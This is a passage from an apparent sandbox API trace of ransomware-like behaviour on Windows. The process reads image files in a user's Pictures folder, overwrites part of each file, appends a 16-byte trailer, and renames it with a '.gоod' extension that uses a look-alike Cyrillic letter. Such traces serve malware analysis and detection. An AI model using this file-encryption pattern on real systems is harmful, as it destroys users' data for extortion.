lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\eW3yg4W1N5.bmp.gоod", lpFilePart=0x0) returned 0x2c [0163.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0163.739] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\eW3yg4W1N5.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\ew3yg4w1n5.bmp"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0396840, ftCreationTime.dwHighDateTime=0x1d4c6a4, ftLastAccessTime.dwLowDateTime=0xf9eb7f20, ftLastAccessTime.dwHighDateTime=0x1d4cd13, ftLastWriteTime.dwLowDateTime=0x5dce6b17, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x12437)) returned 1 [0163.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0163.739] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\eW3yg4W1N5.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\ew3yg4w1n5.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\eW3yg4W1N5.bmp.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\ew3yg4w1n5.bmp.gоod")) returned 1 [0163.740] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\i7Sa.gif", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\i7Sa.gif", lpFilePart=0x0) returned 0x21 [0163.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0163.740] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\i7Sa.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\i7sa.gif"), fInfoLevelId=0x0, lpFileInformation=0x336f560 | out: lpFileInformation=0x336f560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde9d50b0, ftCreationTime.dwHighDateTime=0x1d4c88e, ftLastAccessTime.dwLowDateTime=0xc6efa150, ftLastAccessTime.dwHighDateTime=0x1d4c98a, ftLastWriteTime.dwLowDateTime=0xc6efa150, ftLastWriteTime.dwHighDateTime=0x1d4c98a, nFileSizeHigh=0x0, nFileSizeLow=0xf97f)) returned 1 [0163.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0163.740] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\i7Sa.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\i7Sa.gif", lpFilePart=0x0) returned 0x21 [0163.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0163.740] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\i7Sa.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\i7sa.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0163.740] GetFileType (hFile=0x810) returned 0x1 [0163.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0163.740] GetFileType (hFile=0x810) returned 0x1 [0163.740] SetFilePointer (in: hFile=0x810, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0163.741] ReadFile (in: hFile=0x810, lpBuffer=0x336f8d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x336f8d8*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0163.741] CloseHandle (hObject=0x810) returned 1 [0163.741] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\i7Sa.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\i7Sa.gif", lpFilePart=0x0) returned 0x21 [0163.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0163.741] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\i7Sa.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\i7sa.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0163.741] GetFileType (hFile=0x810) returned 0x1 [0163.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0163.741] GetFileType (hFile=0x810) returned 0x1 [0163.741] SetFilePointer (in: hFile=0x810, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0xf97f [0163.741] WriteFile (in: hFile=0x810, lpBuffer=0x3370b20*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x3370b20*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0163.741] CloseHandle (hObject=0x810) returned 1 [0163.741] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\i7Sa.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\i7Sa.gif", lpFilePart=0x0) returned 0x21 [0163.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0163.742] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\i7Sa.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\i7sa.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0163.742] GetFileType (hFile=0x810) returned 0x1 [0163.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0163.742] GetFileType (hFile=0x810) returned 0x1 [0163.742] ReadFile (in: hFile=0x810, lpBuffer=0x3372d90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x3372d90*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0164.263] CloseHandle (hObject=0x810) returned 1 [0164.263] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\i7Sa.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\i7Sa.gif", lpFilePart=0x0) returned 0x21 [0164.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0164.263] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\i7Sa.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\i7sa.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0164.263] GetFileType (hFile=0x810) returned 0x1 [0164.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0164.263] GetFileType (hFile=0x810) returned 0x1 [0164.263] WriteFile (in: hFile=0x810, lpBuffer=0x3306098*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x3306098*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0164.264] CloseHandle (hObject=0x810) returned 1 [0164.264] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\i7Sa.gif", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\i7Sa.gif", lpFilePart=0x0) returned 0x21 [0164.264] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\i7Sa.gif.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\i7Sa.gif.gоod", lpFilePart=0x0) returned 0x26 [0164.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0164.264] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\i7Sa.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\i7sa.gif"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde9d50b0, ftCreationTime.dwHighDateTime=0x1d4c88e, ftLastAccessTime.dwLowDateTime=0xc6efa150, ftLastAccessTime.dwHighDateTime=0x1d4c98a, ftLastWriteTime.dwLowDateTime=0x5e1f7d42, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf98f)) returned 1 [0164.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0164.264] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\i7Sa.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\i7sa.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\i7Sa.gif.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\i7sa.gif.gоod")) returned 1 [0164.265] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Ia6JOH8L.jpg", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\Ia6JOH8L.jpg", lpFilePart=0x0) returned 0x25 [0164.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0164.265] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Ia6JOH8L.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\ia6joh8l.jpg"), fInfoLevelId=0x0, lpFileInformation=0x3514d48 | out: lpFileInformation=0x3514d48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bebb30, ftCreationTime.dwHighDateTime=0x1d4cc22, ftLastAccessTime.dwLowDateTime=0x34ea46f0, ftLastAccessTime.dwHighDateTime=0x1d4d409, ftLastWriteTime.dwLowDateTime=0x34ea46f0, ftLastWriteTime.dwHighDateTime=0x1d4d409, nFileSizeHigh=0x0, nFileSizeLow=0x17c58)) returned 1 [0164.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0164.265] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Ia6JOH8L.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\Ia6JOH8L.jpg", lpFilePart=0x0) returned 0x25 [0164.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0164.265] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Ia6JOH8L.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\ia6joh8l.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0164.265] GetFileType (hFile=0x810) returned 0x1 [0164.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0164.265] GetFileType (hFile=0x810) returned 0x1 [0164.265] SetFilePointer (in: hFile=0x810, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0164.265] ReadFile (in: hFile=0x810, lpBuffer=0x35150e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x35150e0*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0164.266] CloseHandle (hObject=0x810) returned 1 [0164.266] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Ia6JOH8L.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\Ia6JOH8L.jpg", lpFilePart=0x0) returned 0x25 [0164.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0164.266] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Ia6JOH8L.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\ia6joh8l.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0164.266] GetFileType (hFile=0x810) returned 0x1 [0164.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0164.266] GetFileType (hFile=0x810) returned 0x1 [0164.266] SetFilePointer (in: hFile=0x810, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x17c58 [0164.266] WriteFile (in: hFile=0x810, lpBuffer=0x3516338*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x3516338*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0164.266] CloseHandle (hObject=0x810) returned 1 [0164.266] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Ia6JOH8L.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\Ia6JOH8L.jpg", lpFilePart=0x0) returned 0x25 [0164.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0164.266] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Ia6JOH8L.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\ia6joh8l.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0164.267] GetFileType (hFile=0x810) returned 0x1 [0164.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0164.267] GetFileType (hFile=0x810) returned 0x1 [0164.267] ReadFile (in: hFile=0x810, lpBuffer=0x35185b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x35185b8*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0164.752] CloseHandle (hObject=0x810) returned 1 [0164.752] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Ia6JOH8L.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\Ia6JOH8L.jpg", lpFilePart=0x0) returned 0x25 [0164.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0164.752] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Ia6JOH8L.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\ia6joh8l.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0164.752] GetFileType (hFile=0x810) returned 0x1 [0164.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0164.752] GetFileType (hFile=0x810) returned 0x1 [0164.752] WriteFile (in: hFile=0x810, lpBuffer=0x33449a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x33449a0*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0164.752] CloseHandle (hObject=0x810) returned 1 [0164.752] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Ia6JOH8L.jpg", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\Ia6JOH8L.jpg", lpFilePart=0x0) returned 0x25 [0164.752] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Ia6JOH8L.jpg.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\Ia6JOH8L.jpg.gоod", lpFilePart=0x0) returned 0x2a [0164.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0164.752] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Ia6JOH8L.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\ia6joh8l.jpg"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bebb30, ftCreationTime.dwHighDateTime=0x1d4cc22, ftLastAccessTime.dwLowDateTime=0x34ea46f0, ftLastAccessTime.dwHighDateTime=0x1d4d409, ftLastWriteTime.dwLowDateTime=0x5e696639, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x17c68)) returned 1 [0164.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0164.753] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\Ia6JOH8L.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\ia6joh8l.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\Ia6JOH8L.jpg.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\ia6joh8l.jpg.gоod")) returned 1 [0164.753] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\IacLi7x8ROnEgd.gif", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\IacLi7x8ROnEgd.gif", lpFilePart=0x0) returned 0x2b [0164.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0164.753] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\IacLi7x8ROnEgd.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\iacli7x8ronegd.gif"), fInfoLevelId=0x0, lpFileInformation=0x33d36f0 | out: lpFileInformation=0x33d36f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a863440, ftCreationTime.dwHighDateTime=0x1d4c94b, ftLastAccessTime.dwLowDateTime=0x72164560, ftLastAccessTime.dwHighDateTime=0x1d4d463, ftLastWriteTime.dwLowDateTime=0x72164560, ftLastWriteTime.dwHighDateTime=0x1d4d463, nFileSizeHigh=0x0, nFileSizeLow=0x12112)) returned 1 [0164.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0164.754] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\IacLi7x8ROnEgd.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\IacLi7x8ROnEgd.gif", lpFilePart=0x0) returned 0x2b [0164.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0164.754] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\IacLi7x8ROnEgd.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\iacli7x8ronegd.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0164.754] GetFileType (hFile=0x810) returned 0x1 [0164.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0164.754] GetFileType (hFile=0x810) returned 0x1 [0164.754] SetFilePointer (in: hFile=0x810, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0164.754] ReadFile (in: hFile=0x810, lpBuffer=0x33d3aa8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x33d3aa8*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0164.754] CloseHandle (hObject=0x810) returned 1 [0164.754] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\IacLi7x8ROnEgd.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\IacLi7x8ROnEgd.gif", lpFilePart=0x0) returned 0x2b [0164.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0164.755] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\IacLi7x8ROnEgd.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\iacli7x8ronegd.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0164.756] GetFileType (hFile=0x810) returned 0x1 [0164.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0164.756] GetFileType (hFile=0x810) returned 0x1 [0164.756] SetFilePointer (in: hFile=0x810, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x12112 [0164.757] WriteFile (in: hFile=0x810, lpBuffer=0x33d4d10*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x33d4d10*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0164.757] CloseHandle (hObject=0x810) returned 1 [0164.757] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\IacLi7x8ROnEgd.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\IacLi7x8ROnEgd.gif", lpFilePart=0x0) returned 0x2b [0164.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0164.757] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\IacLi7x8ROnEgd.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\iacli7x8ronegd.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0164.757] GetFileType (hFile=0x810) returned 0x1 [0164.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0164.757] GetFileType (hFile=0x810) returned 0x1 [0164.758] ReadFile (in: hFile=0x810, lpBuffer=0x33d6fa0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x33d6fa0*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0165.205] CloseHandle (hObject=0x810) returned 1 [0165.206] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\IacLi7x8ROnEgd.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\IacLi7x8ROnEgd.gif", lpFilePart=0x0) returned 0x2b [0165.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0165.206] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\IacLi7x8ROnEgd.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\iacli7x8ronegd.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0165.206] GetFileType (hFile=0x810) returned 0x1 [0165.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0165.206] GetFileType (hFile=0x810) returned 0x1 [0165.206] WriteFile (in: hFile=0x810, lpBuffer=0x337de88*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x337de88*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0165.253] CloseHandle (hObject=0x810) returned 1 [0165.253] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\IacLi7x8ROnEgd.gif", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\IacLi7x8ROnEgd.gif", lpFilePart=0x0) returned 0x2b [0165.253] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\IacLi7x8ROnEgd.gif.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\IacLi7x8ROnEgd.gif.gоod", lpFilePart=0x0) returned 0x30 [0165.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0165.286] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\IacLi7x8ROnEgd.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\iacli7x8ronegd.gif"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a863440, ftCreationTime.dwHighDateTime=0x1d4c94b, ftLastAccessTime.dwLowDateTime=0x72164560, ftLastAccessTime.dwHighDateTime=0x1d4d463, ftLastWriteTime.dwLowDateTime=0x5eb5b18d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x12122)) returned 1 [0165.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0165.286] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\IacLi7x8ROnEgd.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\iacli7x8ronegd.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\IacLi7x8ROnEgd.gif.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\iacli7x8ronegd.gif.gоod")) returned 1 [0165.286] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\j7MvXPd03ADui-UD4q5.jpg", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\j7MvXPd03ADui-UD4q5.jpg", lpFilePart=0x0) returned 0x30 [0165.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0165.286] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\j7MvXPd03ADui-UD4q5.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\j7mvxpd03adui-ud4q5.jpg"), fInfoLevelId=0x0, lpFileInformation=0x360d688 | out: lpFileInformation=0x360d688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10d5e610, ftCreationTime.dwHighDateTime=0x1d4d5fe, ftLastAccessTime.dwLowDateTime=0x4180af30, ftLastAccessTime.dwHighDateTime=0x1d4cc66, ftLastWriteTime.dwLowDateTime=0x4180af30, ftLastWriteTime.dwHighDateTime=0x1d4cc66, nFileSizeHigh=0x0, nFileSizeLow=0x1106b)) returned 1 [0165.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0165.286] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\j7MvXPd03ADui-UD4q5.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\j7MvXPd03ADui-UD4q5.jpg", lpFilePart=0x0) returned 